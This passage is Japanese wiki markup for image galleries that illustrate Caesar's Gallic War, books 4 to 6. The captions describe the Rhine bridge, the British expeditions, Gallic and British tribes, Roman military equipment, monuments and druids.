画像:Sakado Oppe River Hachiman Bridge 1.JPG|right|thumb|280 px|流木から橋を防護するために上流側に立て掛けられた斜材の例（埼玉県[[w:坂戸市|坂戸市]]を流れる[[w:越辺川|越辺川]]に架かる八幡橋。）

画像:An open door to Cæsar (1903) (14771307572).jpg|thumb|left|500px|レーヌス（ライン川）架橋工事の想像画。

&lt;!--【第4巻18節】--&gt;
画像:Il ponte di Cesare sul Reno.jpg|レヌス川に架けた橋を渡るローマ軍。 1814年、建築家[[w:ジョン・ソーン|ジョン・ソーン]]（John Soane）による想像画。
&lt;/gallery&gt;

===第一次ブリタンニア遠征===
&lt;gallery&gt;
&lt;!--【第4巻20節】--&gt;
画像:Map of Europe according to Strabo.jpg|thumb|left|400px|カエサルと同時代のギリシア人地理学者[[w:ストラボン|ストラボーン]]著『[[w:地理誌|地誌]]』の記述に基づくヨーロッパの地図。当時は、ブリタンニア（希 &lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;''[[wikt:en:Βρεττανία|Βρεττανία]] / Brettania''&lt;/span&gt;）はガッリアの北方にあり、ガッリア（希 &lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;''κέλτικα / Celtica''&lt;/span&gt;）も北方に位置すると考えられていた。[[:ファイル:Map of Europe according to Strabo.jpg|⇒詳しく]]
画像:Romanbritain.jpg|ローマ時代のブリタンニア島

&lt;!--【第4巻23節】--&gt;
画像:015-Caesar-crossing-the-channel.jpg|ドーバー海峡を航海中のカエサルを描いた後世の戯画。
画像:White cliffs of dover 09 2004.jpg|ブリタンニアの軍勢がカエサルの遠征軍を待ち構えていた、[[w:ドーバー (イギリス)|ドーバー]]の[[w:en:White cliffs of Dover|白い断崖]]。[[w:石灰岩|石灰質]]で形成された切り立った白い崖は、当地のラテン語名「[[w:アルビオン|アルビオン]]」（Albion）の語源となった。
&lt;!--【第4巻25節】--&gt;
画像:Trireme 1.jpg|古代ローマの軍船（再現模型）
画像:Roman aquila.jpg|ローマ軍において[[w:ローマ軍団|軍団]]の象徴であった金色の&lt;br&gt;'''鷲の徽章'''（[[:w:en:Aquila (Roman)|aquila]]）
画像:The_Standard-Bearer_of_the_Tenth_Legion.jpg|ローマ軍の上陸を鼓舞する鷲の徽章の旗手（想像画）
&lt;!--【第4巻26節】--&gt;
画像:Julius Caesar memorial 001.jpg|thumb|right|300px|イギリス南東部[[w:ケント (イングランド)|ケント州]]のディール（[[w:en:Deal, Kent|Deal]]）の近くにある、カエサルのローマ軍が最初に上陸したことを記す後世の記念碑。&lt;br&gt;「THE FIRST ROMAN INVASION OF BRITAIN LED BY JULIUS CAESAR; LANDED NEAR HEAR LV BC　（ユリウス・カエサルに率いられたローマ人の最初のブリタンニア侵攻、[[w:紀元前55年|紀元前55年]]にここの近くに上陸した）」と記されている&lt;ref&gt;右に掲げたウォルマー海岸の記念碑と同一の物と思われる。&lt;/ref&gt;。
画像:Roman Conquest Monument, Walmer.jpg|thumb|left|500px|カエサルとローマ軍が最初に上陸を果たしたと考えられているイギリス南東部･[[w:ケント (イングランド)|ケント州]]の海岸沿いの町'''ウォルマー'''（'''[[w:en:Walmer|Walmer]]'''）の海岸近くに設置されている近代の記念碑（'''Julius Caesar Memorial Plaque''' &lt;ref&gt;[http://www.walmerweb.co.uk/julius-caesar.html julius caesar - WalmerWeb]&lt;/ref&gt;）。&lt;br&gt;ディールから近い、ウォルマー海岸にある&lt;ref&gt;[https://mapcarta.com/N4542841945 Julius Caesar Landing plaque Map - Memorial - Kent, United Kingdom - Mapcarta]&lt;/ref&gt;。

&lt;!--【第4巻33節】--&gt;
画像:Hallein_Keltenmuseum_-_Streitwagen_1.jpg|thumb|left|300px|ケルト系諸部族が用いていた戦車＝二頭立て二輪馬車の再現（[[w:オーストリア|オーストリア]]・[[w:ザルツブルク州|ザルツブルク州]]の[[w:ハライン郡|ハライン郡]]ケルト博物館）
画像:Nachgebauter keltischer Streitwagen.png|thumb|left|400px|ケルト式二輪戦車の再現（1986年、スイス）

画像:La Digue - Buffle (2).JPG|thumb|left|380px|水牛の首に掛けられた'''くびき'''と、後ろの車とをつなぐ'''長柄'''の例。
画像:სიღნაღი - სიღნაღის მუზეუმი 0865.jpg|thumb|left|400px|二輪戦車(左)から長く延びた'''長柄'''と、二頭の家畜の首に掛けられた'''くびき'''(右)（[[w:ジョージア (国)|ジョージア]]の[[w:シグナギ|シグナギ]]博物館）。

&lt;!--【第4巻38節】--&gt;
画像:California Drought Dry Lakebed 2009.jpg|thumb|right|250px|湖沼の[[w:旱魃|旱魃]]の例（米カリフォルニア）
画像:GallischeHoeve.jpg|thumb|right|250px|メナピイー族の復元住居（再掲）

&lt;!--【第4巻●節】--&gt;
&lt;/gallery&gt;

&lt;div&gt;
;　ライン架橋図
#[[:ファイル:Caesar's Rhine bridge construction-01.svg]]
#[[:ファイル:Caesar's Rhine bridge construction-02.svg]]
#[[:ファイル:Caesar's Rhine bridge construction-02 (brace version).svg]]
#[[:ファイル:Caesar's Rhine bridge construction-03.svg]]
#[[:ファイル:Caesar's Rhine bridge construction-03 (brace version).svg]]
#[[:ファイル:Caesar's Rhine bridge construction-04.svg]]
#[[:ファイル:Caesar's Rhine bridge construction-04 (with crossed stakes).svg]]

&lt;/div&gt;

==第5巻==
*&lt;span style=&quot;background-color:#ddd;&quot;&gt;[[ガリア戦記 第5巻]]　；　[[ガリア戦記 第5巻/注解]]&lt;/span&gt;
&lt;gallery&gt;
画像:Gaule -54.png|ガリア戦記 第5巻の情勢図（BC54年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。

&lt;!--【第5巻1節】--&gt;
画像:Illyrians in the 1st-2nd centuries CE.png|right|thumb|600px|ローマ期（BC2～1世紀）の[[w:イリュリクム|イッリュリクム]]や[[w:パンノニア|パンノニア]]における部族の分布図。&lt;br&gt;図の右側中央に、PIRUSTAE（ピールスタエ族）の名が見える。

&lt;!--【第5巻3節】--&gt;
画像:Bund-ro-altburg.jpg|トレーウェリー族の再現された住居（Altburg）
画像:Botassart - Le Tombeau du Géant 1.jpg|アルドゥエンナ（アルデンヌ）の森林地帯
画像:Titelberg_01.jpg|トレーウェリー族の城砦跡（[[w:ルクセンブルク|ルクセンブルク]]の[[w:en:Titelberg|Titelberg]]）
&lt;!--【第5巻5節】--&gt;
画像:Panorama Wissant.jpg|イティウス港の所在地として、ブーローニュとともに有力な候補であるウィサント（[[w:en:Wissant|Wissant]]）
&lt;/gallery&gt;

===第二次ブリタンニア遠征===
&lt;gallery&gt;
&lt;!--【第5巻　第二次ブリタンニア遠征】--&gt;
画像:South.Britain.Late.Iron.Age.jpg|thumb|left|350px|鉄器時代後期のブリテン島南部の部族の配置。
画像:Campagne Bretagne -54.png|thumb|left|300px|カエサルの第二次ブリタンニア遠征の経路。

&lt;!--【第5巻8節】--&gt;
画像:Dover AST 2001073_lrg.jpg|[[w:ドーバー海峡|ドーバー海峡]]の衛星写真。右がガッリア（フランス）、左がカエサルらが上陸した[[w:ドーバー (イギリス)|ドーバー]]付近の海岸。
画像:France manche vue dover.JPG|大陸側から見えるブリタンニアの海岸
画像:Albion's shore covered with men ready for battle.png|thumb|left|550px|ローマ人の大艦隊を見て断崖絶壁の上に身を隠したブリタンニア人たちの想像画&lt;br&gt;（A.S. Forrest画、1905年。H.E. Marshall: &quot;Our Island Story&quot; の挿絵）。

&lt;!--【第5巻9節】--&gt;
画像:Canterbury_-_Kloster_der_Blackfriars_und_Stour.jpg|ストゥール川（[[w:en:River Stour, Kent|Stour]]）の支流の一つ
画像:Testudo lg.jpg|thumb|250px|left|ローマ軍の亀甲隊形（[[w:テストゥド|テストゥド]]）
画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|left|300px|防壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（再掲）。

&lt;!--【第5巻11節】--&gt;
画像:Cassivellaunus, New York Public Library, version2.jpg|thumb|right|300px|[[w:カッシウェラウヌス|カッスィウェッラウヌス]]（[[w:en:Cassivellaunus|Cassivellaunus]]）の近代の想像画。
画像:River Thames_at_Pangbourne_-_The Meadow_-_National_Trust.JPG|thumb|left|450px|'''タメスィス川'''（'''[[w:la:Tamesis (fluvius)|Tamesis]]'''）、すなわち現在の'''[[w:テムズ川|テムズ川]]'''（''[[w:en:River Thames|Thames]]''）。&lt;br&gt;現在の[[w:バークシャー|バークシャー州]]のパンボーン（''[[w:en:Pangbourne|Pangbourne]]）付近。

&lt;!--【◆第5巻12節「ブリタンニアの地理(1)──部族と風土」】--&gt;
画像:England_Celtic_tribes_-_South.png|thumb|left|300px|古代ブリタンニア南部の部族分布。大陸と同じ部族名が見られる。

画像:Recreated Celtic Village, Museum of Welsh Life. - geograph.org.uk - 138611.jpg|thumb|left|300px|再現されたケルト系部族の住居（英[[w:ウェールズ|ウェールズ]]の[https://museum.wales/stfagans/japanese/ セント･ファガンズ国立歴史博物館]内）。
画像:Celtic village - Museum of Welsh Life - geograph.org.uk - 2022629.jpg|thumb|left|300px|再現されたケルト系部族の集落（英[[w:ウェールズ|ウェールズ]]の[https://museum.wales/stfagans/japanese/ セント･ファガンズ国立歴史博物館]内）。

画像:An Iron Age Bronze unit from ESSEX of Andoco Trinovantes Celtic Coin Index reference, 90.0832 (FindID 303648).jpg|thumb|left|200px|[[w:トリノヴァンテス族|トリノウァンテース族]](後出)の青銅の貨幣。
画像:Iron Age Coin, Quarter Stater Gallic import (obverse) (FindID 658457).jpg|thumb|left|150px|ガッリアから輸入された鉄器時代の金貨（[[w:大英博物館|大英博物館]] Room 50所蔵）。
画像:British celtic Iron bar currency.JPG|thumb|left|300px|ケルト系部族が貨幣として用いていた鉄製の棒（英[[w:ドーセット|ドーセット州]]の[[w:en:Dorset County Museum|ドーセット州博物館]]蔵）。

画像:Cassiterite-d06-92a.jpg|thumb|right|200px|ブリテン島の南西に突き出た半島部[[w:コーンウォール|コーンウォール]]地方から産出した名産の[[w:錫石|錫石]]。&lt;br&gt;[[w:世界遺産|世界遺産]]「[[w:コーンウォールと西デヴォンの鉱山景観|コーンウォールと西デヴォンの鉱山景観]]」として登録されるほど世界的に有名。

画像:Fagus sylvatica range.svg|thumb|300px|[[w:ヨーロッパブナ (植物)|ヨーロッパブナ]]の分布図。&lt;br&gt;[[w:ブナ属|ブナ属]]（[[w:la:Fagus|Fagus]]）の樹木で、ブリテン島南部を含むヨーロッパに広く自生する。
画像:Abies alba range.svg|thumb|200px|[[w:ヨーロッパモミ|ヨーロッパモミ]]の自生分布(緑)と外来種としての分布(橙)。[[w:モミ属|モミ属]]（[[w:la:Abies|Abies]]）の樹木でヨーロッパ中･東部に広く自生するが、ブリテン島には自生しない。

画像:Brown Hare (17685984294).jpg|thumb|left|150px|[[w:ヤブノウサギ|ヨーロッパノウサギ]]（英ケント州）。ヨーロッパに広く生息するが、ブリテン島では外来種とされている。
画像:Male and female chicken sitting together.jpg|thumb|left|150px|雌鶏(右)と雄鶏(左)。
画像:Anser anser 2 (Piotr Kuczynski).jpg|thumb|left|150px|[[w:ハイイロガン|ハイイロガン]]（学名 [[w:la:Anser anser|Anser anser]]）。ニワトリと並ぶ古くからの[[w:家禽|家禽]]である[[w:ガチョウ|ガチョウ]]はこの種などを家畜化したものとされている。

&lt;!--【◆第5巻13節「ブリタンニアの地理(2)──島々と地形」】--&gt;
画像:Britain as triangular island described by Caesar.svg|thumb|left|600px|カエサルが三角形の島として描写した[[w:ブリタンニア|ブリタンニア]]島（[[w:グレートブリテン島|ブリテン島]]）の概略図。[[:ファイル:Britain as triangular island described by Caesar.svg|⇒詳しく]]

画像:British Isles Isle of Man.svg|thumb|left|150px|モナ島（マン島）は、ブリタンニア島(右)とヒベルニア島(左)の間に位置する。
画像:Earth-lighting-winter-solstice LA.jpg|thumb|left|500px|[[w:冬至|冬至]]のラテン語による図解。


画像:Clepsydra.jpg|水時計の例
画像:ISS-65 English Channel and North Sea sunglint.jpg|thumb|left|380px|[[w:グレートブリテン島|ブリテン島]](画像中央)と欧州大陸(手前)を上空から見下ろした衛星写真。&lt;br&gt;[[w:北海|北海]](右)が本節の第三の辺の側で、陸地はない。[[w:北海油田|北海油田]]に130億[[w:バレル|バレル]]もの原油が埋蔵されていると推定されている。


画像:Map of Britain as conceived by Caesar (Kelsey 1918).png|thumb|left|600px|本節の記述に基づくヨーロッパの地図（出典：ケルシーの注釈書）。&lt;br&gt;[[w:ブリタンニア|ブリタンニア]]島（[[w:グレートブリテン島|ブリテン島]]）から見て、[[w:ヒスパニア|ヒスパーニア]]（[[w:イベリア半島|イベリア半島]]）とヒベルニア（[[w:アイルランド島|アイルランド島]]）が同じ方角にあると書かれているため、イベリア半島が肥大化して見える。
画像:Map_of_Europe_according_to_Strabo.jpg|thumb|left|550px|ほぼ同時代のギリシア人地理学者[[w:ストラボン|ストラボーン]]の記述に基づくヨーロッパの地図。中央に三角形のブリタンニア島（Brettania）が見える。ヒベルニア島＝イエルネ（Ierne）の位置が北方へずれていることなどを除けば、本節の記述とおおむね合致する。

&lt;!--【◆第5巻14節「ブリタンニアの地理(3)──生活習慣」】--&gt;
画像:KentBrit5.PNG|現在のケント州の位置

画像:Isatis tinctoria 2c.JPG|thumb|left|200px|[[w:ホソバタイセイ|ホソバタイセイ]]（学名 [[w:la:Isatis tinctoria|Isatis tinctoria]]）の黄色い花。
画像:Isatis tinctoria 003.JPG|thumb|left|200px|ホソバタイセイから作られた藍色の染料。

画像:Ancient Britons - Description of Great Britain and Ireland (c.1574), f.8v - BL Add MS 28330.jpg|thumb|right|200px|古代[[w:ブリトン|ブリタンニア人]]の武人の想像画（16世紀）。&lt;br&gt;右の男は藍色の染料で身を染めているが、左の男は[[w:入れ墨|入れ墨]]をしている。

&lt;!--【第5巻15節】--&gt;
画像:Legionisci 2.jpg|thumb|left|400px|陣営の近くで歩哨に立つローマ軍団兵たち。

&lt;!--【第5巻18節】--&gt;
画像:Map of the Territory of the Catuvellauni.svg|thumb|right|後にカトゥウェッラウニー族（[[w:la:Catuvellauni|Catuvellauni]]）として知られることになる部族の推定される版図&lt;br&gt;(地図の&lt;span style=&quot;color:red;&quot;&gt;赤い部分&lt;/span&gt;)。&lt;hr&gt;イングランド[[w:サウス・イースト・イングランド|南東部]]などのうち、[[w:グレーター・ロンドン|大ロンドン]]の北に隣接していた旧[[w:ミドルセックス|ミドルセックス州]]（現在の[[w:ハートフォードシャー|ハートフォードシャー州]]辺り）、北西に広がる[[w:バッキンガムシャー|バッキンガムシャー州]]などを含む。&lt;hr&gt;カエサルは[[w:カッシウェラウヌス|カッスィウェッラウヌス]]の出身部族についても、上の部族名にも言及していないが、やがてローマ帝国軍と戦うことになる、その部族が該当すると考えられている。
画像:River_Thames_at_Kingston.JPG|thumb|left|400px|現在の[[w:グレーター・ロンドン|大ロンドン]]の南西部、キングストン（[[w:en:Kingston_upon_Thames|Kingston]]）を流れるテムズ川。カエサルとローマ軍が渡河したのはここか、やや上流のハリフォード（[[w:en:Upper_Halliford|Halliford]]）辺りと推定されている。

画像:Brentford Monument.04112011129.jpg|thumb|right|400px|ロンドン西部の[[w:ブレントフォード|ブレントフォード]]にある記念碑。&lt;br&gt;&quot;''B.C. 54 at this ancient fortified ford, the British tribesmen under Cassivellaunus bravely opposed Julius Caesar on his march to Verulamium.''&quot;&lt;br&gt;（[[w:紀元前54年|紀元前54年]]、この古代の要塞化された浅瀬で、[[w:カッシウェラウヌス|カッスィウェッラウヌス]]麾下の[[w:ブリトン人|ブリテン部族民]]が、ウェルラミウム&lt;ref&gt;ウェルラミウム（''[[w:en:Verulamium|Verulamium]]''）は、[[w:カッシウェラウヌス|カッスィウェッラウヌス]]の部族の城塞都市。&lt;/ref&gt;へ行軍する途上のユーリウス・カエサルに勇敢に立ち向かった。）&lt;br&gt;と刻まれている。

&lt;!--【第5巻19節】--&gt;
画像:Boxhill_surrey_viewfromtop.jpg|テムズ川上流地域に広がる森林と平原
画像:North_downs_way_seen_from_puttenham.jpg|同じくテムズ川上流地域の森林から平原を眺める

&lt;!--【第5巻20節】--&gt;
画像:Map of the Territory of the Trinovantes.svg|thumb|right|200px|'''[[w:トリノヴァンテス族|トリノウァンテース族]]'''の版図と推定されている領域。&lt;hr&gt;&amp;nbsp;現在の[[w:イースト・オブ・イングランド|イングランド東部地方]]のうち、[[w:エセックス|エセックス州]]東部から[[w:サフォーク|サフォーク州]]南部、[[w:ハートフォードシャー|ハートフォードシャー州]]や[[w:グレーター・ロンドン|大ロンドン]]の一部に及んだと考えられている。

&lt;!--【第5巻21節】--&gt;
画像:Devil's_Dyke_Hertfordshire_sign.jpg|thumb|left|300px|カエサルがカッスィウェッラウヌスを破ったと推定される城砦跡の記念碑。&lt;!--イングランド南部[[w:ハートフォードシャー|ハートフォードシャー州]]のホイートハムステッド（[[w:en:Wheathampstead|Wheathampstead]]）の近くにある遺跡（[[w:en:Devil's Dyke, Hertfordshire|Devil's Dyke]]）--&gt;
画像:Devil's_Dyke_Hertfordshire_(2).jpg|thumb|left|400px|左と同じカッスィウェッラウヌス城砦跡の一部分

&lt;!--【第5巻22節】--&gt;
画像:Campagne_Bretagne_-54.png|カエサルの第二次ブリタンニア遠征の経路(再掲)。左上の赤い×印の地でカエサルと戦っている間に、カンティウム勢が右下の赤い■印の地を急襲した。
&lt;!--【第5巻23節】--&gt;
画像:Seascape_Calm_Weather.jpg|凪の海に浮かぶ船の光景&lt;br&gt;（[[w:エドゥアール・マネ|エドゥアール・マネ]]画）
&lt;/gallery&gt;
&lt;!--【第5巻●節】--&gt;

===アンビオリークスとエブローネース族の蜂起===
&lt;gallery&gt;
&lt;!--【第5巻24節】--&gt;
画像:Amiens dot.png|thumb|right|180px|サマロブリーウァ（Samarobriva）すなわち現在の[[w:アミアン|アミアン市]]の位置。
画像:Plancus-Statue.jpg|thumb|right|150px|スイスの[[w:バーゼル|バーゼル市]]にあるプランクスの像
画像:LocationPoRiver.PNG|thumb|right|150px|パドゥス川（現在のポー川）
&lt;!--【第5巻25節】--&gt;


&lt;!--【第5巻●節】--&gt;
画像:Chartres_1987.jpg|カルヌテス族（Carnutes）の名を残す仏[[w:シャルトル|シャルトル]]（Chartres）市街の原野からの眺望
画像:Rathaus_Basel_2008_(18).jpg|プランクスの像。前掲と同じもの。
画像:Tongeren_Antiekmarkt_wallen_2.jpg|サビヌスとコッタの冬営があったと推定される古代のアドゥアトゥカ、すなわち現在の[[w:ベルギー|ベルギー]]の[[w:トンゲレン|トンゲレン]]市内に残る古代の城壁跡
画像:Ambiorix.jpg|アンビオリクスの銅像。[[w:ベルギー|ベルギー]]の[[w:トンゲレン|トンゲレン]]（Tongeren）市街に建つ。ローマ軍の侵略と闘って撃破した郷土の英雄として、同市が彫刻家ジュール・ベルタン（Jules Bertin）に依頼し1866年に建立した。[http://www.tongeren.be/main.html 同市のサイト]も象徴として本像を掲げる。
画像:Centurion_2_Boulogne_Luc_Viatour.jpg|百人隊長（ケントゥリオ）の再演。
画像:Jeker3.JPG|[[w:トンゲレン|トンゲレン]]市街の南を流れる川（Jeker）。本節の峡谷に相当すると思われるもの。
画像:Girolamo_da_Carpi_001.jpg|[[W:ローマ神話|ローマ神話]]の女神[[w:フォルトゥーナ|フォルトゥーナ]]（16世紀ルネサンス期のイタリア、[[w:ジローラモ・ダ・カルピ|ジローラモ・ダ・カルピ]]画）。気まぐれな運命の女神とも解釈される。
画像:Basilika-tongeren-and-ambiorix.jpg|[[w:トンゲレン|トンゲレン市]]の教会堂の前に立つアンビオリクス像（前掲と同じもの）。ヨーロッパ近代のナショナリズムの高揚とともに、彼はカエサルのローマ軍を一敗地にまみれさせた[[w:ケルト人|ケルト人]]の武将、「[[w:ベルギー|ベルギー]]の英雄」として大いに祀り上げられた。
画像:Roman_soldiers_with_aquilifer_signifer_centurio_70_aC.jpg|鷲の徽章の旗手（[[w:アクィリフェル|アクィリフェル]]）を先頭に行進するローマ兵たちの再演（帝政期のAD70年頃のもの）
画像:Roman aquila.jpg|ローマ軍団の鷲の徽章（再掲）
&lt;/gallery&gt;

===ネルウィイー族らベルガエ人同盟の蜂起===
&lt;gallery&gt;
&lt;!--【第5巻38節】--&gt;
画像:Campagne Ambiorix_-54.png|アンビオリクスがローマ軍に勝利した[[w:アドゥアトゥカの戦い|アドゥアトゥカの戦い]]直後の情勢図

&lt;!--【第5巻40節】--&gt;
画像:Pilum_murale_01.jpg|thumb|left|330px|ローマ軍が籠城戦に用いた'''ピールム・ムーラーリス'''（[[wikt:en:pilum#Latin|pilum]] [[wikt:en:muralis#Latin|muralis]]: 防壁槍）の再現。
画像:Archeodrome_Beaune_8.jpg|thumb|left|280px|ローマ軍の防備の再現。3基の櫓（turris）と、その間に凹凸形に編み込まれた柴の壁（pinnae loricaeque ex cratibus）が見える。
画像:Pinnae loricaeque.svg|thumb|left|350px|'''pinnae loricaeque'''：鋸壁や胸壁（凸と凹の壁）の構成&lt;br&gt;　[[wikt:en:pinna#Latin|pinna]] は凹凸の凸部分で、攻め手の飛道具から身を守る。&lt;br&gt;　[[wikt:en:lorica#Etymology_1|lōrīca]] は凹凸の凹部分で、攻め手に対して飛道具を投げる。

&lt;!--【第5巻42節】--&gt;
画像:AlesiaFortifications.JPG|古代ローマの堡塁と堀の再現。[[w:アレシアの戦い|アレスィア攻囲戦]]のもの（フランスの[[w:ボーヌ|ボーヌ]]にあった考古博物館）
画像:Roman_siege_machines.gif|ローマ軍の攻城機械。右上に攻城櫓（tower）、左上に亀甲車（testudo）が見える。
画像:Falx_bgiu.png|破城鎌（[[w:en:Falx|falx]]）の想像画
&lt;!--【第5巻43節】--&gt;
画像:Grose-Francis-Pavisors-and-Moveable-Tower-Assaulting-Castle-1812.jpg|[[w:攻城塔|攻城櫓]]（turris）の例。絵は中世イギリスの物だが、古代ローマの物とあまり違わないと思われる。
&lt;!--【第5巻44節】--&gt;
画像:Pilum light - cropped.jpg|ローマ軍の投槍（[[w:ピルム|ピルム]]）と長盾（[[w:スクトゥム|スクトゥム]]）
画像:Gladius_2.jpg|長剣（[[w:グラディウス (武器)|グラディウス]]）を右腰の鞘（ウァギナ）から引き抜いたローマ兵士の再演。左肩から右腰にかけて剣帯（バルテウス）が下げられ、鞘を固定している。バルテウス（[[w:en:Balteus (sword belt)|balteus]]）は[[w:ベルト (服飾)|ベルト]]（[[w:en:Belt (clothing)|belt]]）の語源。

&lt;!--【第5巻47節】--&gt;
画像:Campagne_Gaule-54.PNG|thumb|left|500px|キケローを支援するカエサルと軍団の情勢図。カエサルは、本営サマロブリーウァ（Samarobriva）をクラッススに委ね、ファビウスとトレボニウスの軍団とともに東進。ラビエーヌスはトレーウェリー族を迎撃。

&lt;!--【第5巻48節】--&gt;
画像:Dédicace_de_Segomaros_(inscription gallo-grecque).png|thumb|right|200px|ギリシア文字で刻まれたガッリアの碑文
画像:Gallo-Romeinse_cavalerist26-09-2008_16-07-55.JPG|投槍（tragula）を持ったガリア人騎兵を復元した人形
&lt;/gallery&gt;


===インドゥーティオマールスとトレーウェリー族の蜂起===
&lt;gallery&gt;
&lt;!--【第5巻53節】--&gt;
画像:Map of Aremorican tribes (Latin).svg|thumb|right|400px|[[w:アルモリカ|アルモリカ]]（&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;''[[w:en:Armorica|Armorica]]''&lt;/span&gt; ）またはアレモリカ（Aremorica）と呼ばれる地域の部族分布図。これら大西洋岸地域の諸部族は2年前（BC56年）にカエサルやサビーヌスが率いるローマ軍と戦った。


&lt;/gallery&gt;
&lt;!--【第5巻●節】--&gt;

==第6巻==
*&lt;span style=&quot;background-color:#ddd;&quot;&gt;[[ガリア戦記 第6巻]]　；　[[ガリア戦記 第6巻/注解]]&lt;/span&gt;
&lt;gallery&gt;
画像:Gaule -53.png|ガリア戦記 第6巻の情勢図（BC53年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。

&lt;!--【第6巻1節】--&gt;
画像:Hw-pompey.jpg|thumb|right|250px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。カエサルおよび[[w:マルクス・リキニウス・クラッスス|マルクス・クラッスス]]とともに[[w:三頭政治|三頭政治]]を行ない、[[w:共和政ローマ|共和政末期のローマ]]を支配した。この巻の年にクラッススが戦死し、ポンペイウスに嫁いでいたカエサルの娘[[w:ユリア (ガイウス・ユリウス・カエサルの娘)|ユーリア]]が前年に病没、三頭政治は瓦解して、やがて[[w:ローマ内戦 (紀元前49年-紀元前45年)|内戦]]へ向かう。
画像:Theatre of Pompey 3D cut out.png|thumb|left|400px|'''[[w:ポンペイウス劇場|ポンペイウス劇場]]'''の復元図。[[w:グナエウス・ポンペイウス|ポンペイウス]]の名を冠したこの劇場は、彼が執政官であった[[w:紀元前55年|紀元前55年]]頃に竣工し、当時最大の劇場であった。&lt;br&gt;　伝記作家[[w:プルタルコス|プルータルコス]]は以下のように伝えている&lt;ref&gt;[[s:en:Plutarch%27s_Lives_(Clough)/Life_of_Pompey]] より&lt;/ref&gt;：「クラッススは執政官の任期が切れるとすぐに属州へと出発したが、ポンペイウスはローマで劇場の開館式や奉献式に出席し、その式にはあらゆる競技・ショー・運動・体操・音楽などで人々を楽しませた。野獣の狩猟や餌付け、野獣との闘いもあり、500頭のライオンが殺された。しかし何よりも、象の闘いは、恐怖と驚きに満ちた見世物であった」と。&lt;br&gt;&lt;br&gt;　カエサルの最期の場所でもあり、血みどろのカエサルはポンペイウスの胸像の前で絶命したとされている。
&lt;!--【第6巻3節】--&gt;
画像:Plan_de_Paris_Lutece2_BNF07710745.png|ルテティア周辺の地図（18世紀頃）
&lt;!--【第6巻6節】--&gt;
画像:GallischeHoeve.jpg|復元されたメナピイー族の住居（再掲）
&lt;!--【第6巻7節】--&gt;
画像:Titelberg_01.jpg|トレーウェリー族の城砦跡（再掲）
&lt;!--【第6巻8節】--&gt;
画像:Pilensalve.jpg|[[w:ピルム|ピールム]]（投槍）を投げるローマ軍兵士（帝政期）の再演
画像:Bund-ro-altburg.jpg|トレーウェリー族の再現された住居（再掲）
画像:Trier_Kaiserthermen_BW_1.JPG|トレーウェリー族（Treveri）の名を現代に伝えるドイツの[[w:トリーア|トリーア市]]（Trier）に残るローマ時代の浴場跡
&lt;!--【第6巻9節】--&gt;
画像:Caesar's Rhine Crossing.jpg|thumb|right|250px|カエサルがライン川に橋を架けたとされる有力な地点の図示。ライン川と[[w:モーゼル川|モーゼル川]]の合流点にある[[w:コブレンツ|コブレンツ]]([[w:en:Koblenz|Koblenz]])と下流の[[w:アンダーナッハ|アンダーナッハ]]([[w:en:Andernach|Andernach]])との間の[[w:ノイヴィート|ノイヴィート]]([[w:en:Neuwied|Neuwied]])辺りが有力な地点の一つとされる。'''（[[ガリア戦記_第4巻#17節|第4巻17節]]の図を再掲）'''

&lt;!--【第6巻10節コラム「スエービー族とカッティー族・ケールスキー族・ウビイー族について」】--&gt;
画像:Hermann (Arminius) at the battle of the Teutoburg Forest in 9 CE by Peter Jannsen, 1873, with painting creases and damage removed.jpg|thumb|right|250px|ウァルスの戦い（[[w:de:Varusschlacht|Varusschlacht]]）こと[[w:トイトブルク森の戦い|トイトブルク森の戦い]]（AD9年）で戦う、ゲルマーニア軍とローマ軍（Johann Peter Theodor Janssen画、1870～1873年頃）。中央上の人物はケールスキー族の名将[[w:アルミニウス (ゲルマン人)|アルミニウス]]。&lt;br&gt;アルミニウスが率いるケールスキー族・カッティー族らゲルマーニア諸部族同盟軍は、P.クィン(ク)ティリウス・ウァルス麾下ローマ3個軍団を壊滅させ、アウグストゥスに「ウァルスよ諸軍団を返せ（[[w:la:Publius_Quinctilius_Varus|Quintili Vare]], legiones redde!）」と嘆かせた。
&lt;/gallery&gt;
&lt;hr&gt;

===ガッリア人の社会と風習について===
&lt;gallery&gt;
&lt;!--【第6巻　コラム「ガッリア・ゲルマーニアの地誌・民族誌について」】--&gt;
画像:Testa di saggio o principe, forse il filosofo poseidonio, 50 ac. ca 01.JPG|thumb|right|200px|アパメアの[[w:ポセイドニオス|ポセイドニオス]]の胸像。地中海世界やガッリアなどを広く訪れて、膨大な著作を残した。&lt;br&gt;『ガリア戦記』の地誌・民族誌的な説明も、その多くを彼の著作に依拠していると考えられている。
&lt;!--【第6巻13節】--&gt;
画像:Two_Druids.PNG|thumb|right|200px|二人のドルイド。フランスの[[w:オータン|オータン]]、すなわちガッリア中部のビブラクテ辺りで発見された[[w:レリーフ|レリーフ]]。
&lt;!--【第6巻14節】--&gt;
画像:Druids,_in_the_early_morning_glow_of_the_sun.jpg|thumb|right|200px|現代イギリスのドルイド教復興主義者たち
画像:Dédicace_de_Segomaros_(inscription gallo-grecque).png|thumb|left|300px|ギリシア文字で刻まれたガッリアの碑文
画像:Carte des inscriptions en langue gauloise répertoriées sur le site du RIIG jusqu'en juillet 2024.jpg|thumb|left|200px|フランスにおける[[w:ガリア語|ガッリア語]]碑文の分布図。&lt;br&gt;緑色の丸印は[[w:ギリシア文字|ギリシア文字]]、赤色の丸印は[[w:ラテン文字|ラテン文字]]、橙色の丸印はその他の文字で刻まれたもの。
画像:Dying_gaul.jpg|thumb|right|200px|『[[w:瀕死のガリア人|瀕死のガリア人]]』（[[w:en:Dying_Gaul|Dying Gaul]]）像（ローマ市の[[w:カピトリーノ美術館|カピトリーノ美術館]]）
画像:Universum.jpg|thumb|right|200px|古代以来の伝統的な世界観における天空と平らな大地。カルデアやギリシアを除けば、丸い地球という観念は知られていなかった。
